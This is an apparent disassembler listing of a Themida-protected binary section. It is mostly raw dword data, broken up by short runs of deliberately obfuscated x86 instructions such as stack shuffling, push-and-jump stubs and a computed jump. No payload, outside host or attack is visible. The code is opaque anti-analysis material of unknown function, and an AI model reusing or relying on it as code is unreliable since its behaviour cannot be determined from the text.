dd 0DF4813A6h, 0CBB02D8Fh, 8713A6A9h, 99460C1Eh, 13A6A9E6h
dd 0CBA11365h, 0DFE60639h, 343E0F2h, 8EE1BA58h, 43C95B5h
dd 837C5769h, 54D87729h, 0E3h, 6179567Dh, 64805B29h, 69815E2Ch
dd 6E866331h, 866200DAh, 8799346Ch, 42A43C8Eh, 0FB1AF714h
dd 614A645Bh, 89CF552h, 0C5FD15F2h, 0BD0DA1EEh, 1527451Fh
dd 332CBA37h, 0DE7A13A6h, 8E75F201h, 4C13A60Ch, 1FFE8AE3h
dd 0DF38D30Bh, 0FE12F18Fh, 0C49F2BC6h, 0C3D570A8h, 9A0D82A1h
dd 0A92CCBFFh, 0F68D0A0Ch, 6413A665h, 0F949A2FBh, 65651A97h
dd 88F113A6h, 98369876h, 3615A1BDh, 3D4FEA22h, 408FEC44h
dd 900D6F14h, 1B890FEBh, 0FF374F2Ch, 98AA1364h, 620050B9h
dd 0C1D76B87h, 9676CAE6h, 0FB623483h, 1F535BBh, 41190000h
dd 9C758B1Fh, 0F6D2E87Ch, 533248DCh, 0BA95AB3Fh, 0CB310A9Eh
dd 79BB792h, 65F917F1h, 0C75B714Fh, 28BCD4B1h, 0B348C575h
dd 1F13AB58h, 7B564BDAh, 0D8B5CB5Fh, 4D5B2CC0h, 0F9D77542h
dd 0A510ABE3h, 1442A0DEh, 6ABA137Ch, 0A6A927EDh, 548CF513h
dd 0A6A9D4A7h, 22627313h, 0E5FBD977h, 0A9631895h, 86EF13A6h
dd 8669974h, 0E26FD878h, 98000000h, 29617956h, 0A65D805Bh
dd 60E459ADh, 142E0A96h, 98E841DCh, 0F5071BFAh, 0E72B9D2Fh
dd 0B0B63684h, 0B5171022h, 8014427Dh, 5F7F58A3h, 7F5C7206h
dd 7E0CF370h, 61CA1442h, 96F9D008h, 5D4BC818h, 0B13A670h
dd 22E052A2h, 0E1B8DBE8h, 603A5C6Eh, 0BDCFE3C2h, 69B9F59Ah
dd 73F58A07h, 16113A6h, 0A673FF84h, 99F25B13h, 0AB2CA987h
dd 0F7144095h, 0C5A03E8Eh, 9D3B15A9h, 0D570A8C0h, 0B2CEA9C3h
dd 3478B85Eh, 27ADED62h, 0F7h, 891D3F17h, 0E67A9A73h, 46DAF4D0h
dd 0A93D5130h, 89CB893h, 0B590C92Fh, 15EF0599h, 6F4D63F7h
dd 0D2AFC559h, 0C37326BAh, 0AB59B146h, 49D81D13h, 0F5F7B56h
dd 6B7D9371h, 47563349h, 35BA92D5h, 25908126h, 1442C45Eh
dd 0C64393FCh, 1442C431h, 47DB349Dh, 61795676h, 667E5B29h
dd 0D2DCB3D2h, 4DEB0582h, 6913ABh, 0D3B04EB0h, 4DAB50BBh
dd 0BE2713ABh
dd 53D5532h, 0C492586Ah, 0D7FCFE7h, 6DA90196h, 8BADBF52h
dd 704D9875h, 0D4F2CC58h, 70A8019Ch, 4DE7CDEh, 0DA847BE6h
dd 0E95213ABh, 51CDED7h, 64E14148h, 48603D20h, 0A9C19EB4h
dd 81C8E759h, 0A654888Fh, 9E3CCE94h, 7D97A9C1h, 9B528A9Eh
dd 0C09D80C4h, 477F9975h, 650353ACh, 9E397187h, 77546A8Ch
dd 0B0AA0758h, 72513124h, 328B265Eh, 0C1BA1D9h, 0AA000000h
dd 32C3358Dh, 0D5DCB12Bh, 56572C3Eh, 56245C7Eh, 5B296179h
dd 612F677Dh, 63316987h, 66346C88h, 69376F8Bh, 703E768Ah
dd 74427A94h, 0EE437B9Bh, 81E78957h, 4C7h, 4EF8300h, 8B243C87h
dd 89502424h, 405E0h, 42D0000h, 87000000h, 895C2404h
; ---------------------------------------------------------------------------
xor al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push 7E9EDF8h
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
push esi
add dword ptr [esp], 320126CBh
pop dword ptr [eax+8]
push ebp
mov ebp, 320126CBh
sub [eax+8], ebp
pop ebp
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_58A287
; ---------------------------------------------------------------------------
dd 7E9E9B18h, 0A57E35D8h, 0EB1E9CF0h, 0E9FADDB8h, 0FFC50307h
dd 0D51A89E0h, 75310540h, 1FAB834Fh, 0D36D8F1Eh, 0BF20A636h
dd 40640F2Ah, 0FD74722Ah, 0AAF4BB27h, 4FCE4432h, 4DAC2972h
dd 34425652h, 0F00B700Fh, 0F0BC3571h, 6F1EA67Bh, 0B39EF54Dh
dd 634EB627h, 27148F3Bh, 0FAB53350h, 9BCC3E1Ch, 6F102330h
dd 0F017D57Ah, 0DA4DD50Dh, 0E12FB70Eh, 29659B09h, 0D9B59F4Dh
dd 81DE6864h, 6CE2932Dh, 0D6998B17h, 47EA104Ch, 8094FD26h
dd 0CCE4F44Fh, 0EB8D8D64h, 6A07E9FCh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 8E46C350h
dd 89F938F9h, 0E41B718Dh, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 23A0D952h
dd 0BFF1D597h, 44B9339h, 9305BA60h, 10E9120Ah, 0A5000000h
dd 0F129392Bh, 1458D0E6h, 0F4E4E2DBh, 6101716Ch, 858D8960h
dd 6107E414h, 2DA185C7h, 630807E4h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8B6679C3h
dd 81BD89D7h, 0C707E418h, 0E422B985h, 7, 75858B00h, 0FF07E421h
dd 0E40A59B5h, 51006A07h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 0D55D297Dh, 40D8503h
dd 95FF07E4h, 7E43061h, 518529F8h, 6A07E42Ch, 4195FF00h
db 0Eh, 0E4h
; ---------------------------------------------------------------------------
loc_5E2176: ; DATA XREF: Themida_:00583910o
pop es
mov eax, eax
jmp short loc_5E21B3
; ---------------------------------------------------------------------------
db 52h
dd 0E7E68EFDh, 0ED7B7841h, 937F6036h, 784DE870h, 0CFA2ADF7h
dd 5026E484h, 7440AA29h, 0C318E629h, 0CDFCE8C9h, 7DD83695h
dd 1FDE45BAh, 55536164h, 7AFCBFF4h
db 0D7h, 4Bh, 7Ch
; ---------------------------------------------------------------------------
loc_5E21B3: ; CODE XREF: Themida_:005E2179j
jmp loc_5E21EE
; ---------------------------------------------------------------------------
dd 520F32A1h, 0
dd 4AC51C57h, 36614843h, 0A7A5ADF9h, 75528C88h, 0BE00B7FBh
dd 0E5ADF99Ch, 9D89937Eh, 1DF4C700h, 19606392h, 0DEh, 0
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5E21EE: ; CODE XREF: Themida_:loc_5E21B3j
jmp loc_5E2CDC
; ---------------------------------------------------------------------------
push 7E9FE79h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E9FF9Bh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EA0080h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EA0113h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EA01ECh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EA02B9h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EA039Ch
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EA05D4h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EA06CCh
jmp loc_58A287
; ---------------------------------------------------------------------------
db 18h, 40h, 1Eh
dd 7B9B748Ah, 0DBF5D1E7h, 3E523147h, 9DB994AAh, 91CA3009h
dd 0F0069AB6h, 4E64F816h, 0B0C65A70h, 7427BBD3h, 5DB047C4h
dd 0D91E13ABh, 6C424D4Ah, 5D8E9F1Ch, 54C413ABh, 61DF633Eh
dd 76C61F2Ah, 0C825C704h, 8B9D4A0Dh, 1A320FADh, 2E512CCAh
dd 18D4067Fh, 5567C021h, 0DDBB5933h, 80FD8FC7h, 13AB95FBh
dd 8395EE57h, 3C748C69h, 2B8D2A65h, 0AB95C9AEh, 0B11C8513h
dd 13AB95CAh, 0B5931F88h, 73CC679Fh, 68E0A623h, 45AE1442h
dd 6B7A57F5h, 919309EEh, 35CC51Bh, 647C596Fh, 743A552Ch
dd 8409A724h, 0EE571C75h, 48F6F69Ah, 0DD63A35Ah, 929h
dd 41D5F7CFh, 9E32522Bh, 0FE92AC88h, 61F509E8h, 0C054704Bh
dd 6D4801E7h, 0CDA7BD51h, 27051BAFh, 8A677D11h, 7B2BDE72h
dd 0AB5E79FEh, 190D513h, 29617956h, 5A337E5Bh, 2E4DE13Ah
dd 80FD4D61h, 13A6B30Eh, 6C45E345h, 0B41AE14Ch, 4FB813A6h
dd 0A5F55E3Dh, 7ACD1B33h, 0C9E4A7F7h, 2C6E8AE7h, 51172982h
dd 0A6CFDBA4h, 275F7013h, 77AE8877h, 204DD8h, 4D760000h
dd 9F1C6C42h, 13A6A9E9h, 59063EA7h, 13A6AAA6h, 2C501425h
dd 0D87807D3h, 0CE04h, 79562D00h, 805B2961h, 815E2C64h
dd 86633169h, 9E00DA6Eh, 42A05A21h, 7D8FF814h, 42A30684h
dd 0F13C1914h, 24C6FE12h, 62FD9ABCh, 0AA035CCFh, 0C8DEBC5Ah
dd 0E295F590h, 0F5EE0596h, 0AEC4E6F8h, 0AA81B9D1h, 0FC79C9E5h
dd 13A6147Ah, 2891D848h, 0A2C22E3Ah, 69DBB549h, 7E154D4Ah
dd 7396A8D6h, 0C542921Ch, 14406CCAh, 31CF1F88h, 0CCA63A56h
dd 55D6A85Ah, 0BB1B1071h, 5EA73C38h, 809AAC1Eh, 653589A5h
dd 486234A4h, 8078208h, 19F10000h, 744D63F7h, 0CEAAC054h
dd 2B0A20B4h, 926D8317h, 0E309E276h, 0DF738F6Ah, 3DD1EFC9h
dd 9F334927h, 94AC89h, 5B209D4Dh, 0F713AB5Fh, 7B5623B2h
dd 0D8B5CB5Fh, 0A0B74CC9h, 0BA231442h, 92FCCD61h, 0E9FB1BF4h
dd 95E5C9C6h, 0A6A95218h, 0D7AF2113h, 0CACA2EABh, 0CC351426h
dd 1714E794h, 0A2B313A6h, 0D855B7E2h, 13A61723h, 593446AFh
dd 0D8775AA6h, 0AC2Fh, 79565800h, 805B2961h, 17F2C64h
dd 141442A3h, 0D4AB2837h, 471442A4h, 9801526Ah, 0B895AB3Fh
dd 0FE9168A0h, 0A4473CB9h, 0AA131442h, 82840151h, 0D013A6B0h
dd 96A51767h, 7EACD97Ch, 0B2A4C5Eh, 5DDA2A84h, 14400A7Dh
dd 0A0D79E10h, 0E24FCA0Ch, 3888F1D0h, 18A4BE9Ah, 3311233Bh
dd 0A9EBA95h, 0A9FD19F4h, 623473FBh, 220086C6h, 0D6000007h
dd 3248DCFEh, 8FA53959h, 0EF0599B3h, 5268FC10h, 0EEC75B77h
dd 58744F08h, 0B6D4AEC4h, 182E0C22h, 79916E84h, 58232E5h
dd 13A8A07Eh, 560897DCh, 0B5CB5F7Bh, 98B08DD8h, 0D86CC560h
dd 61795607h, 667E5B29h, 7C5AF8D2h, 81932E66h, 42A0F788h
dd 36781714h, 536B48E6h, 5DE66341h, 113AB5Dh, 0CFAA4898h
dd 0CEE07BB3h, 15F08EF0h, 76CFEBC6h, 7791A33Eh, 0D8EE829Ah
dd 0D4ABE3FBh, 26A3F3BBh, 144F5370h, 4D61B51Eh, 88623237h
dd 68FC248h, 91690000h, 0ECC5DB6Fh, 462238CCh, 0A382982Ch
dd 0AE5FB8Fh, 7B815AEEh, 57EB07E2h, 0B5496741h, 17ABC19Fh
dd 780C2401h, 0E39815C5h, 6F13A8A1h, 30929B2Ah, 42A0CCB3h
dd 12EE8A14h, 738D9FF8h, 78467E96h, 0D4B839Bh, 0BB590044h
dd 99B3C5DFh, 7A9671BCh, 0FE4EA742h, 0D6CBC58Ch, 91A369F7h
dd 1AF7956Fh, 0EA15F002h, 0EBE05B9Fh, 7, 1729E14h, 772D0000h
dd 1442A084h, 0D5258906h, 8C680173h, 7C8DB663h, 49B3716Ah
dd 0E48213ABh, 0A8A4EA05h, 0D137EF71h, 1E876678h, 31FA6CCEh
dd 6871E8Fh, 0BA97B1C3h, 1BF80EA2h, 81DAF4D0h, 0AD52CF31h
dd 2913A8DFh, 56E8AEC0h, 19D858E4h, 384AE918h, 0E4347A15h
dd 4CADB167h, 0A2F65F14h, 62323116h, 0B60D93D3h, 42000005h
dd 9EB4486Ah, 0FB11A5C5h, 5B71051Fh, 0BED4687Ch, 5A33C7E3h
dd 0C4E0BB94h, 22401A30h, 849A788Eh, 0E5FDDAF0h, 71EE9E51h
dd 13A8A18Ah, 56740348h, 5B296179h, 0F02E667Eh, 23007F27h
dd 5FA0770Bh, 78E05C11h, 7, 0BE9EA1h, 4D2D0000h, 9F1C6C42h
dd 13AB5D8Eh, 6D0B5BC4h, 4E6A4590h, 8E227B16h, 4B839B78h
dd 43931B74h, 42A300C6h, 1565CE14h, 4A829A77h, 0DFA54FAFh
dd 8F0B173Ch, 0CB3D9F7Dh, 7B99A10Ah, 819BAD46h, 1EF88CA4h
dd 2C41DBACh, 0F3057EADh, 0D6B1FCD9h, 0AF1161BAh, 91634D32h
dd 40A0091Bh, 41994420h, 9B617338h, 93E3CBC4h, 758AB816h
dd 4B2AC61Ch, 0B64FF37h, 48ED0BB7h, 2CB2F25Ah, 4E9h, 8115370Fh
dd 0DE72926Bh, 3ED2ECC8h, 0A1354928h, 94B08Bh, 0AD88C127h
dd 0DE7FD91h, 67455BEFh, 0CAA7BD51h, 0BB6B1EB2h, 0A8A2B93Eh
dd 41D01513h, 0CD16F492h, 467ED7F1h, 5DC799ABh, 56000001h
dd 5B39424Dh, 0FE9CEC45h, 1E53041Fh, 0CDE02554h, 0D0A72474h
dd 7E14422Bh, 0C3250315h, 0FA324625h, 0F9544D5Fh, 7913ABD6h
dd 0EC5EC010h, 69243653h, 463DBAB0h, 1413A80Bh, 0AFF252ABh
dd 371F8CE1h, 2E0B2537h, 8F6C8216h, 27683F77h, 604F6780h
dd 8664BFD7h, 449D3870h, 21FD9BEBh, 2234CF07h, 7A01C744h
dd 32D01441h, 4E2D3F53h, 1AF795E5h, 7B586E02h, 43C5230h
dd 46D81069h, 4EACADD4h, 29A69801h, 1B964F52h, 2C3E9700h
dd 0D8288609h, 72587D5Bh, 4EA20B1Ch, 5A473B7Eh, 6CD5393h
dd 0F2000004h, 4E64F81Ah, 0ABC15575h, 0B21B5CFh, 6E84182Ch
dd 0AE37793h, 74906BE4h, 0D2F0CAE0h, 344A283Eh, 95AD8AA0h
dd 219E4E01h, 13A8A35Ah, 5624B3F8h, 5B296179h, 3E56337Eh
dd 0DA126B06h, 0AC93D39Ch, 4923B7CFh, 530AACD7h, 0FF110E6Bh
dd 5B80DB24h, 62FCE0h, 0AA1C0000h, 6D29885h, 4136B3D3h
dd 0D14424Bh, 64394BA4h, 1C6C424Dh, 0A6EF3B9Fh, 0A0F05913h
dd 0D50D2502h, 0E84A283Ah, 4052704Ah, 9C304A26h, 1CE360C2h
dd 0BA13A6F0h, 0F026DD5Ah, 4BB413A6h, 708A66F2h, 928B9D38h
dd 13A6F0E8h, 0A2364E2Bh, 4696B08Ch, 78B0CEA8h, 587851DDh
dd 4EFA8046h, 89000003h, 2A627856h, 17677F5Ch, 4880A079h
dd 63799BADh, 68366E86h, 0C123738Bh, 42A0BF44h, 0A0B21B14h
dd 77305F7Eh, 22ADA3C6h, 0D3237C9Ch, 0A6E65456h, 61B11A13h
dd 0B9CBE9C3h, 0B3EF61F3h, 4ECE8AF0h, 24D7D0E2h, 6F13A6E4h
dd 556B4990h, 0F129821Dh, 0D6293F4Fh, 0B97BCEBh, 9FAA0E2Fh
dd 7696F8BFh, 3D17E51Dh, 2A4CE71Fh, 61B9F9ADh, 3651450h
dd 225F24A1h, 92FB13A6h, 0A6225027h, 995FE13h, 2500122Eh
dd 0D8779BDAh, 58FBh, 0F4922400h, 2AC5FD19h, 0E19AF518h
dd 17B2EA06h, 0A0B54AC7h, 0B8211442h, 0DC920F5Fh, 9B13A6A9h
dd 910E23FDh, 13A6AAEAh, 94A6FF68h, 53B645B5h, 0DE4B6C39h
dd 0DFA04D85h, 6C13A62Ah, 0E9CDA81Ah, 25650016h, 26E0FB9Dh
dd 7B8DE68Ch, 9F6A6DEh, 0CED877DBh, 0D4h, 617956F7h, 31805B29h
dd 0D1AC3858h, 89E27DB5h, 0A4C09B39h, 0F9BFD16Ch, 0FE364E2Bh
dd 0D6F4CE6Ch, 0B5CDAAC4h, 0A3AE2C21h, 0E4C11442h, 452238CCh
dd 62B21D26h, 247DB3B9h, 347A15ECh, 8E482E4h, 90C8DCBBh
dd 918A9CF5h, 13A63803h, 3554E851h, 8704545Ah, 1440EFA3h
dd 96F848B1h, 89306219h, 7854F01Bh, 328B265Eh, 0C9A44220h
dd 0DD3F19ADh, 89309B60h, 0BCCE371Bh, 42B4C7A2h, 0A719CC9Ch
dd 896ED95Bh, 0A1B8904h, 3FDA1230h
dd 0D82C85EEh, 62349DFEh, 0CE61E727h, 2A000001h, 869C3052h
dd 0E3F98DADh, 4359ED07h, 0A6BC5064h, 421BAFCBh, 0ACC8A3BCh
dd 0A280218h, 6C826076h, 0CDE5C2D8h, 59D68639h, 13A8A5A2h
dd 565CEB30h, 0B5CB5F7Bh, 5B2CC0D8h, 5F39424Dh, 5D3B0941h
dd 4595EE47h, 0A6A902C8h, 0BA5FD113h, 0C77471AEh, 0FC654456h
dd 186417C4h, 0D2E313A6h, 5915EA92h, 0DEC2D877h, 0EB000000h
dd 29617956h, 2C64805Bh, 42A3017Fh, 0EC371414h, 0CBE5C112h
dd 679FF893h, 0B12373CCh, 0E3D8387Dh, 5F8193F1h, 0D1A62385h
dd 7D144244h, 0B6EE02E1h, 96B0C21Bh, 0B351A1B9h, 0B74CC9D4h
dd 23144244h, 8E2961BAh, 0B0DFB67Ch, 0A331AEFEh, 0F113A64Ah
dd 0BAD5F488h, 0D042A4F4h, 1EFDE390h, 6795AA0Ah, 6AC3D7B6h
dd 0D6E802DEh, 402BDADDh, 0EF3FA814h, 0A5A7651h, 0E485E798h
dd 5D91F105h, 4B6D7F5Eh, 0EA3E5A35h, 623516F6h, 0D67D0343h
dd 22000000h, 7E94284Ah, 0DBF185A5h, 3B51E5FFh, 9EB4485Ch
dd 3A13A7C3h, 0A4C09BB4h, 220FA10h, 647A586Eh, 0C5DDBAD0h
dd 51CE7E31h, 13A8A6AAh, 5654E328h, 0F1CB5F7Bh, 0B7A9C07Fh
dd 536581F7h, 0B0445C39h, 26E364D6h, 22829C78h, 96A8E564h
dd 617956C1h, 667E5B29h, 0D2DCB3D2h, 0BA09E482h, 0F38EC6DCh
dd 2DAA889Ah, 13AB5D7Fh, 0BE8CC42Dh, 1F35C9E1h, 45F22A42h
dd 464E67ADh, 2502A05Eh, 2E07D50Dh, 6A3B50Eh, 0F302DF5Eh
dd 8D978176h, 84E44D49h, 3C6C926Bh, 27BB14F1h, 0A8253411h
dd 498DC2D3h, 85BD167Fh, 2C7955F3h, 64FF374Fh, 2638D30Bh
dd 0E1192D0Ch, 2C13532Ah, 49E7374Fh, 0CD524A6Fh, 8DF3CFDFh
dd 4F61FC34h, 223A172Dh, 364EAh, 8DF30000h, 5C7E563Eh
dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h
dd 768A6937h, 7A94703Eh, 7B9B7442h, 2F68EE43h, 89000018h
dd 4D682404h, 8900003Dh, 89562434h, 4C681E6h, 83000000h
dd 348704EEh, 2C895C24h, 0B9515524h, 6B1951B5h, 0AD4F181h
dd 0CD8979D5h, 0D5F74D59h, 0EDC1D5F7h, 0ED814507h, 0F83B9AF5h
dd 685DEE89h, 4293h, 83242489h, 5D042404h, 8BE5651h, 89000000h
dd 0E9015EF1h, 0FF593189h, 835D2434h, 348B04C4h, 0E7895724h
dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FA75B2E9h, 300156FFh
dd 6B78D1AFh
; ---------------------------------------------------------------------------
loc_5E2CDC: ; CODE XREF: Themida_:loc_5E21EEj
mov eax, 7EA07C7h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 7Ch, 0C5h, 82h
dd 0A6577A3Eh, 5730573Eh, 0BC63BD0Bh, 6C58086Dh, 0E8ABFA77h
dd 0BCDD3A4Fh, 4D69CE48h, 80DE3D01h, 0BAB7673Ah, 0C07F7143h
dd 0ABE60A15h, 4D322552h, 0BFDA524Eh, 2299767Ah, 677CA71Ah
dd 2A46884Dh, 6E63747h, 59F9877Ch, 3CD1BF16h, 277F6954h
dd 4E73A754h, 0BDCB0548h, 9E837h, 96BB0000h, 6501A5C9h
dd 0E965AD20h, 0Fh, 0C0B323DCh, 2AFCBA9h, 8EDED207h, 5E2FA141h
dd 11E9h, 543D3D00h, 606B2F41h, 8518481Ah, 2CBCAADDh, 0C681C171h
dd 5D39h, 68h, 8B665600h, 8A585FCEh, 3034FFF0h, 0DDE18166h
dd 8B535B77h, 0F3815FCAh, 43BED289h, 5890Fh, 38BA0000h
dd 81180D04h, 0E7596DF3h, 0F7816675h, 0F38166E0h, 6D04FB9Bh
dd 89FEBF0Fh, 0EE9061Ch, 7C000000h, 86A3CB0Dh, 0D528520Fh
dd 5814978Ch, 4E88348h, 0A8F0Fh, 5E90000h, 79000000h, 0D2B27F39h
dd 0A374F881h, 850FFFFFh, 0FFFFFF99h, 0E9D3B70Fh, 2Fh
dd 7AE9615Eh, 0Ah dup(0)
dd 0E9000000h, 0C61h, 0EA0B3068h, 550BE907h, 1A68FFFBh
dd 0E907EA0Ch, 0FFFB5501h, 0EA0E0868h, 54F7E907h, 0E368FFFBh
dd 0E907EA0Eh, 0FFFB54EDh, 0EA11B268h, 54E3E907h, 1F68FFFBh
dd 0E907EA13h, 0FFFB54D9h, 0EA148068h, 54CFE907h, 96C4FFFBh
dd 0DF7A8FC2h, 252F4477h, 79DFF427h, 0C093A8DBh, 0B823578Ah
dd 79AC9EB5h, 2C5FF364h, 0DE113F17h, 8FC28CC9h, 0ADDDC02Ah
dd 0B223FF97h, 70F002FEh, 8DBDA0BCh, 9223FFA5h, 0D6C87185h
dd 18342009h, 7CD968E7h, 0CA8E2632h, 0AAF3468Ah, 6CE27366h
dd 0A396DA23h, 61699CB2h, 16F9434Fh, 23F9A2D3h, 9887CBD8h
dd 23F9A164h, 4A1639CCh, 5A5E8C12h, 2A19h, 0C0E61800h
dd 9C9B7EC8h, 7F23F997h, 0B3F2E72h, 7323F998h, 4474579Fh
dd 4923F998h, 7DD20B3Ch, 5EAAB9F1h, 0EFBE5Ah, 0D9BD0000h
dd 9B8ED27Ch, 614892B8h, 0B42859F3h, 85EF4E60h, 34CE03E5h
dd 96E92D21h, 52031C4Dh, 876AB2FCh, 1C167457h, 0A2164754h
dd 5008A6AFh, 8A71BB04h, 0DE76E2CAh, 0CDFE5195h, 790A596Ah
dd 52031C16h, 9F9CA931h, 0BC997618h, 0CD004992h, 6DB19DB8h
dd 69E6187h, 0E58E8C40h, 593C86CFh, 23F9F69Eh, 0C9D10411h
dd 1961ABA7h, 86B40007h, 23549003h, 0E0B1CA0Eh, 78C2CF2Bh
dd 440E4930h, 637CAD00h, 0B59DBAF0h, 75D57E71h, 3AB0E32Ch
dd 984A3228h, 0FF30DEEFh, 0EBDD6DE6h, 0C2A5DD3Bh, 3C262347h
dd 900000Ah, 0BFD40751h, 7489BC9Ah, 24396CE0h, 0D8ED2034h
dd 689CCF7Bh, 0F159FA43h, 0A4AEA9BEh, 56FA5C71h, 7470E23h
dd 22056FD4h, 23FF99F2h, 0D94243F7h, 3E86D07Ah, 0E94FE32Ch
dd 0A085B8D4h, 1C162170h, 0CC2F606Dh, 7DB09EB7h, 0C8C0E602h
dd 979C9B7Eh, 727F23F9h, 980B3F2Eh, 0E07323F9h, 0AABBF36Fh
dd 0D3C05A5Eh, 0BF000000h, 8ED27CD9h, 0FDC7B89Bh, 0D169D3CBh
dd 0B097E12Ah, 478A9A5h, 160EC615h, 400E471Ch, 0A4B0970Dh
dd 0E01164A8h, 10F58EC7h, 6C2376CEh, 8DD185D4h, 5EA8F13Ah
dd 2C70DE77h, 4E34A8D9h, 3E63038h, 23FA6848h, 1D044E5Bh
dd 81D4183Ah, 0C3E5ED50h, 4E357DC7h, 0B1044808h, 47166B80h
dd 8C992BE1h, 0CFB2FA42h, 1C17C59Fh, 455E8F9Ch, 0F4093C0Eh
dd 440A4B5Fh, 1CB309FBh, 7B9FC2A6h, 9527Eh, 0F167F300h
dd 0A6B0A9BEh, 56F65E73h, 0A4A0E23h, 0B991C2D7h, 0E4695286h
dd 93A8DB6Fh, 465B8EC4h, 0F80D4010h, 59BEF15Dh, 9ADC0CEFh
dd 2DE123FFh, 0CF7AD92Ch, 158EBCECh, 6BB4C11Ch, 1C322338h
dd 3BA2C0D2h, 0EADD64A8h, 0CFED44E7h, 96C710C7h, 7CD9B833h
dd 0BA9B8ED2h, 8EB60F4h, 1C158ED8h, 3B7FC8D5h, 646C9FE8h
dd 19FC4642h, 23F9AD86h, 45387C89h, 0DF43E10h, 74D7084Ah
dd 9FB8F65Fh, 37266AB3h, 0B77DD02Dh, 0BA2728CFh, 6B80B39Bh
dd 312064EAh, 0B075CBFEh, 7BDCDA7Fh, 0F74093D7h, 0BA97C0B3h
dd 75CBA7D7h, 4E97A4B0h, 0EA65000Ah, 222D729Dh, 8BBE90C5h
dd 2B6FDF76h, 75CC033Ch, 3042F8B0h, 1105460Fh, 0D8114249h
dd 63EB6A77h, 143A1B30h, 51347CD0h, 87B57E21h, 0D4E0111Eh
dd 0A2D2B5B2h, 0A787B57Dh, 2407519Ah, 8F999CB5h, 7CAC8FD7h
dd 8188917Fh, 86CC8B74h, 4811BE55h, 947BC50Eh, 0F75A8BBFh
dd 87D1D9EFh, 759F85A4h, 0C926A90h, 38D882F6h, 186CB0F9h
dd 0DA147406h, 9ECF4D0Eh, 0B4F35689h, 2629BC87h, 6EE87158h
dd 0EA6D72Ah, 3625FB5Eh, 4C5DDh, 5DCFE100h, 0EA1AFDC6h
dd 0EF87B4F6h, 14C3CEE2h, 42E46394h, 5C547A2Fh, 71E3CA12h
dd 304497DBh, 619093BAh, 6C81B21Dh, 23FA7165h, 5AF66047h
dd 0FB92C316h, 52ED78EEh, 7200C9FAh, 5384CA8Bh, 6E5E2147h
dd 7B1E6436h, 629275BFh, 67F740E0h, 7FC7115Ah, 0B095C198h
dd 0F740E080h, 4326707Dh, 0F740E113h, 60DA0B18h, 25039E7Dh
dd 0AAF401FFh, 0FF4F7F62h, 3E4CF8E4h, 0E4FF2B5Bh, 0DA2330F8h
dd 0BBEC66F1h, 434F6147h, 3ABE16F9h, 80C800C9h, 40D96D9Dh
dd 346572F7h, 5F46909Dh, 0B4A0B8F6h, 0A1D41D70h, 9385C98Ch
dd 0E77D091Fh, 64E2DF03h, 0E1000007h, 97ACDF79h, 4C6194C2h
dd 0FC114408h, 0B0C5F85Ch, 4074A7A3h, 0C981D29Bh, 7CD68196h
dd 2E223449h, 0DF6FE6FBh, 0FADD47ACh, 23FF9CCAh, 0D91A1BCFh
dd 9B8ED27Ch, 0EA6093B9h, 8E8FBFA2h, 4E0A1C15h, 86FC206h
dd 0BFA7CAFBh, 0AC000000h, 0ADC4CCE6h, 431C16C9h, 9F08600Ch
dd 642F5DBAh, 2E000000h, 7AC4CCE6h, 498DC393h, 684BC5F6h
dd 1C158F35h, 19492C3Ah, 161C158Fh, 9C95B63Eh, 63ACBD6Bh
dd 72E3D61Ah, 0C194A9DCh, 0A1EA6CEDh, 5951775Dh, 2430280Fh
dd 0E25C8DE0h, 0BA1B39Ah, 70C3074Dh, 2E1F627h, 5D23F9C3h
dd 6BFE0C50h, 0A9D088E4h, 967D5A5Eh, 0C26293C3h, 7, 117CFC1h
dd 0E6D40000h, 9B7EC8C0h, 23F9AEA4h, 40887A87h, 44BAC434h
dd 6892320h, 9EBC0000h, 0E77287BAh, 2D273C6Fh, 81D7EC1Fh
dd 0C88BA0D3h, 0B01B4F82h, 71A4A6ADh, 2457FB5Ch, 0D609470Fh
dd 87BA94C1h, 0A5D5B822h, 0AA23FF9Ch, 0CCE6F5F6h, 65C9ADC4h
dd 313D12EBh, 5DBAA379h, 7EFEh, 0CCE6FD00h, 4C687AC4h
dd 0A1574271h, 165FEB68h, 54BA9EE5h, 1E4A05DEh, 5DBA2D4Eh
dd 5EEDh, 490AF100h, 7851D001h, 8F1D4D30h, 75221C15h, 0DB2E72E4h
dd 45027E92h, 0D8998788h, 79799BA7h, 0D404E72Fh, 0D91C164Dh
dd 4DB8E8CBh, 0A8B51C16h, 3E72E5Fh, 0EC344E88h, 164DD909h
dd 0E0C9D61Ch, 4194D874h, 6F78D710h, 1C165642h, 4371CD90h
dd 0A3EC592Bh, 0BA6D623Bh, 0FEB2075Dh, 0E606FFFFh, 687AC4CCh
dd 0BAF8D4h, 59A0D13Eh, 1B38FA75h, 91CDEB2Fh, 1751772Ah
dd 96C09982h, 8FC03552h, 0C448627h, 0CD1639C5h, 0B0BC936Ch
dd 5DBAB3F8h, 0BA9ABEA5h, 52F22376h, 23Ah, 0CF7AD951h
dd 8E74A487h, 6C791C15h, 158F5787h, 0FE47541Ch, 2391C7BAh
dd 88DB1F35h, 8F2B5B3Eh, 23301C15h, 6B1296DAh, 0FE4C07E4h
dd 0AD9DB6CBh, 656D8369h, 0A82D381Bh, 0D5E223F9h, 63EC8791h
